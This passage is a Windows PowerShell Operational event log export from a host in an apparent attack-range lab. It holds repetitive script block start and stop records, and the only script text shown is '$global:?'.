Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648933
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648931
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648929
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648928
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648927
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648925
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648944
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648943
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648941
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648939
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648937
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648935
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648953
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648951
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648949
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648947
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648945
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648963
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648961
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648959
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648957
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648955
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648973
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648971
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648969
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648967
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648965
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648983
Keywords=None
Message=Completed invocation of ScriptBlock ID: efdf88db-e8bf-41cf-a026-876e67c745f1
Runspace ID: 37548be4-6f67-48ee-a672-1a9362ba1dbe
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648982
Keywords=None
Message=Started invocation of ScriptBlock ID: efdf88db-e8bf-41cf-a026-876e67c745f1
Runspace ID: 37548be4-6f67-48ee-a672-1a9362ba1dbe
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648981
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: efdf88db-e8bf-41cf-a026-876e67c745f1
Path:
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ae01b3b-6c2e-4e5f-ab7a-2ba0d87b2382
Runspace ID: 37548be4-6f67-48ee-a672-1a9362ba1dbe
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648979
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ae01b3b-6c2e-4e5f-ab7a-2ba0d87b2382
Runspace ID: 37548be4-6f67-48ee-a672-1a9362ba1dbe
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
